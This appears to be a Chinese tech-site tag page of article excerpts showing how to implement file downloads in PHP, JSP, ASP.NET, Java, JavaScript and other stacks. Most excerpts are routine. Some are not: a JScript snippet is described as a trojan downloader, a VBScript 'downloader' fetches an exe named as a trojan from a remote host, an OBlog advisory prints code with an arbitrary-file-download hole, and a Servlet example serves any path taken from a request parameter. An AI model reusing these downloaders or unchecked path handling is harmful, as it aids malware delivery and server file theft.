文件下载

  • php实现文件下载实例分享

    php实现对文件的下载需要了解一定的http协议基础,php实现下载用到四条http协议的信息,用header进行会写处理 举一个案例: <?php class Downfile { function downserver($file_name){ $file_path = "./img/".$file_name; //转码,文件名转为gb2312解决中文乱码 $file_name = iconv("utf-8","gb2312",$fil

    PHP, 文件下载May 3

  • php隐藏实际地址的文件下载方法

    这篇文章主要介绍了php隐藏实际地址的文件下载方法,涉及php中header与file_get_contents方法的相关使用技巧,非常具有实用价值,需要的朋友可以参考下 本文实例讲述了php隐藏实际地址的文件下载方法.分享给大家供大家参考.具体如下: 下面这段php代码可不透露实际的文件下载地址. function download_document($filename,$path="",$mimetype="application/octet-stream")

    PHP, 文件下载April 11

  • PHP实现文件下载详解
    PHP实现文件下载详解

    本文从php实现下载的原理到具体的实现代码,再到有可能出现的问题,以及使用其他方式实现的文件下载的代码分享,都做了详细说明,给有需要的小伙伴们参考下 1.php下载原理图 2.文件下载源码: <?php $file_name="哈哈.jpg";//需要下载的文件 $file_name=iconv("utf-8","gb2312","$file_name"); $fp=fopen($file_name,"r+&q

    PHP, 文件下载March 7

  • PHP 强制性文件下载功能的函数代码(任意文件格式)

    PHP强制性文件下载函数代码,使用此函数为用户提供强制性的文件下载功能. /******************** *@file - path to file */ function force_download($file) { if ((isset($file))&&(file_exists($file))) { header("Content-length: ".filesize($file)); header('Content-Type: applicatio

    PHP, 文件下载, 强制性February 18

  • 通过隐藏iframe实现文件下载的js方法介绍

    本篇文章主要是对通过隐藏iframe实现文件下载的js方法进行了介绍,需要的朋友可以过来参考下,希望对大家有所帮助 通过隐藏iframe实现文件下载的js方法介绍 <script> function download() { //下载文件的地址 var url="http://music.baidu.com/data/music/file?link=http://zhangmenshiting.baidu.com/data2/music/13618994/13618995183600

    iframe, 文件下载February 2

  • php实现文件下载功能的几个代码分享

    我们一般实现下载都是调用url来下载,但是遇到ie能识别打开的文件就不能用这种方式了,比如下载一个图片.html网页等,这时就需要编程来实现 一个简单的php文件下载源代码,虽不支持断点续传等,但是可以满足一些常用的需求了.php下载文件其实用一个a标签就能实现,比如 <a href="web/magento-1.8.1.0.zip">magento-1.8.1.0.zip</a> .但是遇到一些浏览器能识别的格式,比如.txt,.html,.pdf等,再用&l

    PHP, 文件下载January 29

  • js自定义方法通过隐藏iframe实现文件下载

    通过隐藏iframe实现文件下载,不可思议吧,但确实是可以实现的,不懂的看下代码,或许可以帮助到你,而且此功能是用js实现的,感兴趣的你可不要错过了哈 通过隐藏iframe实现文件下载的js方法 <script> function download() { //下载文件的地址 var url="http://music.baidu.com/data/music/file?link=http://zhangmenshiting.baidu.com/data2/music/1361899

    隐藏, iframe, 文件下载January 16

  • JSP response对象实现文件下载的两种方式

    这篇文章主要介绍了JSP隐含对象response实现文件下载的两种方法,很简单,但很实用,需要的朋友可以参考下 一.JSP隐含对象response实现文件下载的介绍 (1)在JSP中实现文件下载最简单的方法是定义超链接指向目标资源,用户单击超链接后直接下载资源,但直接暴露资源的URL 也会带来一些负面的影响,例如容易被其它网站盗链,造成本地服务器下载负载过重. (2)另外一种下载文件的方法是使用文件输出流实现下载,首先通过response报头告知客户端浏览器,将接收到的信息另存 为一个文件,然后

    Response, 文件下载December 18

  • jsp 文件下载示例代码
    jsp 文件下载示例代码

    简单的下载服务端已存在文件功能,就可以方便的通过jsp文件下载的方式来轻松实现,具体的实现如下,感兴趣的朋友可以参考下 有的时候一个模板的下载,这种简单的下载服务端已存在文件功能,就可以方便的通过jsp文件下载的方式来轻松实现. //jsp 页面 js /** * 导出角色 */ function exportRole(){ var user_id = $('input[name=userListRadio]:checked').attr('id'); if(!user_id ||user_id

    jsp, 文件下载December 14

  • PHP 下载文件时自动添加bom头的方法实例

    这篇文章主要介绍了PHP 下载文件时自动添加bom头的方法实例,有需要的朋友可以参考一下 首先弄清楚,什么是bom头?在Windows下用记事本之类的程序将文本文件保存为UTF-8格式时,记事本会在文件头前面加上几个不可见的字符(EF BB BF),就是所谓的BOM(Byte order Mark). 不仅限于 记事本保存的文件,只要在文件的开口包含了EF BB BF 几个不可见的字符(十六进制应该是是xEFxBBxBF,用二进制编辑文件可见).这像是一个约定俗成的东西,当系统看到这玩意的时候,

    PHP, 文件下载, BOM头November 16

  • asp.net 文件下载功能函数代码整理

    asp.net下文件下载功能代码,fullFilename 要下载的文件的路径+文件名,需要的朋友可以参考下. public void FileDownLoadDel(string fullFilename) { System.IO.Stream iStream = null; // Buffer to read 10K bytes in chunk: byte[] buffer = new Byte[10000]; // Length of the file: int length; // T

    asp.net, 文件下载October 29

  • php实现文件下载(支持中文文名)

    这个下载实例结合header函数与while fread函数把文件分断读出来然后再发送到客户端了,支持中文文名,算得上一个标准的文件下载实例 /*====================================================== $FileName 为文件名称,必传 $FilePath 为文件路径.选填,可以为相对路径或者绝对路径 路径只能由英文跟数据组成,不能带有中文 ==================================================

    文件下载, 支持中文文名October 23

  • JScript 脚本实现文件下载 一般用于下载木马

    脚本实现文件下载,这个是jscript的,脚本之家以前曾发布vbscript版本的,原理一样的. jscript版本 var objArgs=WScript.Arguments; var sGet=new ActiveXObject("ADODB.Stream"); var xGet=null; try{ xGet=new XMLHttpRequest(); }catch(e){ try{ xGet=new ActiveXObject("Msxml2.XMLHTTP"

    文件下载, 脚本实现September 23

  • nginx中文件下载指定保存文件名的配置方法
    nginx中文件下载指定保存文件名的配置方法

    这篇文章主要介绍了nginx中文件文件指定保存文件名的配置方法,可以达到实际文件名和保存的文件名不相同的效果,需要的朋友可以参考下 一般在我们上传完资源文件之后,为了避免文件名冲突,会将文件名改成毫无意义的一段字符.这个字符,可能是MD5产生的,或者是其他方式产生的字符串.这时候,下载的时候,默认保存的文件名会是这段毫无意义的文件名(图1). 其实,nginx是支持下载时重命名的,让文件名更加友好. nginx也很容易配置:只要加入以下几行即可: location ~* .*\.(doc|txt

    nginx, 文件下载, 指定文件名September 19

  • java web项目实现文件下载实例代码

    现在项目里面有个需求,需要把系统产生的日志文件给下载到本地 先获取所有的日志文件列表,显示到界面,选择一个日志文件,把文件名传到后台 File file = new File(path);// path是根据日志路径和文件名拼接出来的 String filename = file.getName();// 获取日志文件名称 InputStream fis = new BufferedInputStream(new FileInputStream(path)); byte[] buffer = n

    Java, Web, 文件下载September 14

  • asp.net 文件下载的通用方法

    一则雕虫小技,记下备忘,以使同学们少走弯路. 在asp.net里,你简单在Response中写文件流的话,可能被浏览器误读了,比如说图片或是.htm,会在被浏览器打开时直接呈现出来.而需求却是,弹出保存的面板提示用户保存. 那么,以下几个步骤都必不可少. Response.Clear(); Response.AddHeader("Content-Disposition", "attachment;FileName=" + clientname); Response.

    asp.net, 文件下载August 25

  • PowerShell小技巧之实现文件下载(类wget)
    PowerShell小技巧之实现文件下载(类wget)

    在.NET环境下提到下载文件大多数人熟悉的是通过System.Net.WebClient进行下载,这个程序集能实现下载的功能,但是有缺陷,事实上微软也提供了避免这些缺陷的程序集System.Net.HttpWebRequest和HttpWebResponse,本文将会使用这两个程序集来实现PowerShell版wget的功能. 对Linux熟悉的读者可能会对Linux通过wget下载文件有印象,这个工具功能很强大,在.NET环境下提到下载文件大多数人熟悉的是通过System.Net.WebCli

    实现, PowerShell小技巧, 文件下载, 类wgetAugust 2

  • 让PHP更快的提供文件下载的代码

    一般来说, 我们可以通过直接让URL指向一个位于Document Root下面的文件, 来引导用户下载文件 但是, 这样做, 就没办法做一些统计, 权限检查, 等等的工作. 于是, 很多时候, 我们采用让PHP来做转发, 为用户提供文件下载. <?php $file = "/tmp/dummy.tar.gz"; header("Content-type: application/octet-stream"); header('Content-Dispositi

    文件下载July 31

  • IIS支持exe文件下载配置方法附图
    IIS支持exe文件下载配置方法附图

    如何在IIS中设置网站可以下载exe后缀的文件,默认情况下.exe文件是不能被下载的,在IIS中,能够下载的文件格式都会在MimeType列表里面定义,没有定义的文件后缀就不能被下载 IIS支持exe文件下载的配置方法,配有图示,一起来看看. 如何在IIS中设置网站可以下载exe后缀的文件,默认情况下.exe文件是不能被下载的. IIS中,默认情况下.exe文件是不能被下载的,下载的时候提示无法找到文件.这是为了从一定程度上提高网站及其访问者的安全.但是,如果我们确实需要在IIS搭建的网站上来提

    文件下载July 10

  • jQuery使用动态渲染表单功能完成ajax文件下载

    使用ajax实现文件下载,方便,快捷,时尚,多么有挑战的一个功能,首先获取url和data然后把参数组装成form的input再利用request发送请求,也就是动态渲染表单,提交表单后再删除,本例将实现文件下载功能,感兴趣的朋友可以聊解下 // Ajax 文件下载 jQuery.download = function(url, data, method){ // 获取url和data if( url && data ){ // data 是 string 或者 array/object

    文件下载, 渲染表单July 1

  • java使用http实现文件下载学习示例

    这篇文章主要介绍了java使用http实现文件下载学习示例,需要的朋友可以参考下 package com.hongyuan.test; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import j

    Java, Http, 文件下载June 29

  • Python实现多线程下载文件的代码实例

    这篇文章主要介绍了Python实现多线程下载文件的代码实例,需要的朋友可以参考下 实现简单的多线程下载,需要关注如下几点: 1.文件的大小:可以从reponse header中提取,如"Content-Length:911"表示大小是911字节 2.任务拆分:指定各个线程下载的文件的哪一块,可以通过request header中添加"Range: bytes=300-400"(表示下载300~400byte的内容),注意可以请求的文件的range是[0, size-

    python, 多线程, 文件下载June 25

  • php实现文件下载代码分享

    php实现文件下载我们需要用到header函数来发送相关信息给客户端浏览器,同时再结合filesize函数来读取文件大小并进行下载操作,下面我们一起来看看相关例子. 简单的文件下载只需要使用HTML的连接标记<a>,并将属性href的URL值指定为下载的文件即可.所示: <a href="http://www.jb51.net/download/book.rar">下载文件</a> 如果通过上面的代码实现文件下载,只能处理一些浏览器不能默认识别的MI

    PHP, 文件下载June 19

  • Android文件下载进度条的实现代码

    我们今天开始学习的是下载进度的实现.今天的这段代码是网上找的,自己做了些小改,通过模拟器测试.文件下载进度条控制(就是为了高清壁纸加个进度条),自己研究了好久,但是进度条只能显示缓存写入文件的进度,不能显示下载进度.找了好久,终于找到一段用的代码,所以记录下来,大家分享 main.xml: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://

    android, 进度条, 文件下载May 9

  • JavaEE实现文件下载
    JavaEE实现文件下载

    这篇文章主要介绍了JavaEE实现文件下载的方法,非常的实用,需要的朋友可以参考下 我们先来看一个最简单的文件下载的例子: package com.yyz.response; import java.io.FileInputStream; import java.io.IOException; import java.io.OutputStream; import javax.servlet.ServletException; import javax.servlet.http.HttpServ

    文件下载, JavaEEMay 7

  • asp.net(c#)文件下载实现代码

    本文通过一个实例向大家介绍用C#进行Internet通讯编程的一些基本知识.我们知道.Net类包含了请求/响应层.应用协议层.传输层等层次. using System; using System.Data; using System.Configuration; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI

    文件下载May 3

  • PHP实现文件下载断点续传详解

    这篇文章主要介绍了PHP实现文件下载断点续传详解,本文讲解了载断点续传的实现理解,并给出了实现代码,需要的朋友可以参考下 如果我们的网站提供文件下载的服务,那么通常我们都希望下载可以断点续传(Resumable Download),也就是说用户可以暂停下载,并在未来的某个时间从暂停处继续下载,而不必重新下载整个文件. 通常情况下,Web服务器(如Apache)会默认开启对断点续传的支持.因此,如果直接通过Web服务器来提供文件的下载,可以不必做特别的配置,即可享受到断点续传的好处.由于这些文件直

    PHP, 文件下载, 断点续传April 25

  • php利用header函数实现文件下载时直接提示保存

    相信很多人在实现文件下载功能时会遇到这种情况,本意是点击下载连接提示保存对话框,事情往往事与愿违,例如PDF这样的文件会直接在浏览器中现实文件内容,而不是提示保存.通过下面的方法可以解决这个问题. <?php $filename = '路径+实际文件名'; //文件的类型 header('Content-type: application/pdf'); //下载显示的名字 header('Content-Disposition: attachment; filename="保存时的文件名.

    header, 文件下载April 7

  • asp.net中文件下载功能的实例代码

    asp.net中文件下载功能的实例代码,需要的朋友可以参考一下 //TransmitFile实现下载 protected void Button1_Click(object sender, EventArgs e) { Response.ContentType = "application/x-zip-compressed"; Response.AddHeader("Content-Disposition", "attachment;filename=z.

    .NET, 文件下载April 7

  • c#文件下载示例的4种方法分享

    这篇文章主要介绍了c#文件下载示例的4种方法,有TransmitFile实现下载,WriteFile实现下载,WriteFile分块下载,流方式下载,需要的朋友可以参考下 using System; using System.Data; using System.Configuration; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; usin

    文件下载March 31

  • showModelDialog弹出文件下载窗口的使用示例

    这篇文章主要介绍了showModelDialog弹出文件下载窗口的使用示例,方法很简单,大家可以直接参考下面的代码使用 当点击我要修改时,需要在后台生成excel文件,同时需要提供下载文件功能. 生成excel文件容易.弹出"文件下载"也容易: 点击按钮,跳转到action中,在该action中生成Excel文件,填充数据,保存到临时文件夹中,然后在按钮的Click事件中,根据模板生成Excel报表,填充数据,保存到临时文件夹,然后output.wirte().一切看起来很顺利. Ac

    文件下载, showModelDialogMarch 23

  • asp.net 文件下载实现代码

    asp.net下实现文件下载的代码.大家可以看下,主要包括文件名等操作. /// <summary> /// 文件下载 /// </summary> /// <param name="savename">文件名</param> /// <param name="FullFileName">文件全名</param> /// <param name="Response"&g

    asp.net, 文件下载March 10

  • 关于SpringMVC中文件下载小记

    正在学习SpringMVC的路上,今天项目中需要用到文件下载的一个小功能,于是乎开始各种找资料看SpringMVC中是如何通过MessageConverter来实现的,其实做完发现还是比较简洁的,过程遇到几个问题: 下载下来的文件内容异常 IE下无法下载 IE下下载时文件名乱码 上代码 /** * 文件下载 * * @param fname 文件名称(含后缀) * @throws IOException */ @RequestMapping("/down") public Respon

    乱码, 文件下载, SpringMVCFebruary 13

  • asp.net实现文件下载的代码

    asp.net中也需要实现文件的下载,因此下面的方法可以参考下除了第四种不推荐以外,其他的都可以,但是个人感觉分块下载的要好一点.没有仔细测试,所以可能有问题. public partial class FileDownLoad : System.Web.UI.Page { //提供下载的文件,不编码的话文件名会乱码 private string fileName = HttpContext.Current.Server.UrlEncode("规范.rar"); private str

    asp.net, 文件下载January 30

  • ExtJS实现文件下载的方法实例

    这篇文章介绍了ExtJS实现文件下载的方法实例,有需要的朋友可以参考一下 前台代码: Ext.get('outputuser').on('click', function(e){ Ext.MessageBox.confirm('提示','确定要导出用户吗?',function(btn){ if(btn=="yes"){ Ext.Ajax.request({ url:"可以获得要下载文件的url", success:function(res){ var obj =Ex

    extjs, 文件下载December 25

  • php实现文件下载更能介绍

    PHP用代码实现文件下载,阅读PHP用代码实现文件下载,我们一般实现下载都是调用url来下载,但是遇到ie能识别打开的文件就不能用这种方式了,本文将介绍关于PHP实现文件下载,需要聊解更多的朋友可以参考下 PHP用代码实现文件下载,阅读PHP用代码实现文件下载,我们一般实现下载都是调用url来下载,但是遇到ie能识别打开的文件就不能用这种方式了,比如下载一个图片.html网页等,这时就需要编程来实现,以下php代码可以解决:?if( empty($_GET[ 我们一般实现下载都是调用url来下载

    PHP, 实现, 文件下载December 23

  • PrimeFaces 4.0 使用 p:fileDownload 标签实现文件下载
    PrimeFaces 4.0 使用 p:fileDownload 标签实现文件下载

    这两天在使用 primefaces 4.0 做壹個下载文件的功能,去官方网站 primefaces.org 看了下,只有壹個 PDF 版用户指南和各种用例的在线 Demo ,目前可以在官方网站上找到的下载案例见于 http://www.primefaces.org/showcase/ui/fileDownload.jsf,能够看到部分源代码,但是找不到整個工程,实在是很不方便.后来又通过 Google 搜索了下,终于让我在 http://networkedblogs.com/B8rUw 找到了

    j2ee, jsf, 文件下载, PrimeFacesDecember 18

  • VBS下载者(通过vbscript实现文件下载)

    这篇文章主要介绍了通过vbscript实现文件下载功能的实现代码,主要是使用了ADODB.Stream,需要的朋友可以参考下 一.VBS下载者: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.jbzj.com/muma.exe",0 Post.Send

    vbs, 文件下载November 17

  • OBlog任意文件下载漏洞

    OBlog任意文件下载漏洞 系统编号:BES2008053247 发布时间:2008-05-02 更新时间:2008-05-02 危害级别:★★★☆☆☆ 受影响版本: OBlog 4.60 描述: attachment.asp代码 Path = Trim(Request("path")) '获取用户提交的路径 FileID = Trim(Request("FileID")) If FileID ="" And Path = ""

    oblog, 漏洞, 文件下载November 17

  • JSP隐含对象response实现文件下载的两种方法

    JSP隐含对象response实现文件下载的两种方式,二进制文件的下载与文本文件下载 一.JSP隐含对象response实现文件下载的介绍 (1)在JSP中实现文件下载最简单的方法是定义超链接指向目标资源,用户单击超链接后直接下载资源,但直接暴露资源的URL 也会带来一些负面的影响,例如容易被其它网站盗链,造成本地服务器下载负载过重. (2)另外一种下载文件的方法是使用文件输出流实现下载,首先通过response报头告知客户端浏览器,将接收到的信息另存 为一个文件,然后用输出流对象给客户端传输文

    Response, 文件下载November 4

  • php实现文件下载简单示例(代码实现文件下载)

    这篇文章主要介绍了php实现文件下载简单示例,需要的朋友可以参考下 public function downloads($name){ $name_tmp = explode("_",$name); $type = $name_tmp[0]; $file_time = explode(".",$name_tmp[3]); $file_time = $file_time[0]; $file_date = date("Y/md",$file_time

    PHP, 文件下载November 1

  • php实现文件的下载

    备忘,下载文件功能: define('DL_DIR', 'data/');//存放附件的目录 $fileName = base64_decode($img_str);// // 安全性过滤dirname($_SERVER['DOCUMENT_ROOT']) $filePath = dirname($_SERVER['DOCUMENT_ROOT']) . '/' .DL_DIR . $fileName;//文件的绝对路径,注意修改 /* 简述: DIRECTORY_SEPARATOR(目录界定符,

    PHP, 下载文件, 文件下载August 27

  • 文件下载的文件名中文和空格处理

    今天遇到一个问题,文件下载,如果有空格,浏览器下载的时候会丢失文件名 - -. 之前下载的代码: @RequestMapping("download") public void downloadFile(long fileId, HttpServletResponse response){ AttachedFile attachedFile = attachedFileManager.getFile(fileId); String filePath = UPLOAD_PATH + Fi

    文件名乱码, 文件下载, response.setHeader, 文件名丢失, 文件名空格May 21

  • Servlet 实现文件下载

    记录一下. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String path = request.getParameter("path");//path为服务器上文件的绝对路径 File file = new File(path); if(file.exists()){ String file

    servlet, 文件下载April 9

  • Servlet 输出文件下载

    1.如果下载的文件名是中文: 将文件名重新用"ISO8859_1"编码 2.下载自定义文件名: Response 设置头文件类型 "Content-disposition",值为" attachment;filename="文件名" " 3.获取文件的MIME类型 通过 ServletContext 的 getMimeType(String filename),即通过文件的后缀名得到注册在tomcat中的相应MIME类型 4.

    servlet, 文件下载March 26

  • DWR入门实例五之文件下载

    上一篇DWR入门实例四之文件上传,讲解了利用DWR3.0实现文件的上传功能. 这边文章我们将讲解利用DWR3.0实现文件的下载功能. 实现下载功能大致分两步: 第一步:javabean public FileTransfer exportExcel(Object- args) throws Exception { //具体业务逻辑 ByteArrayOutputStream bos = new ByteArrayOutputStream(); DataOutputStream dos = new

    dwr, 文件下载December 4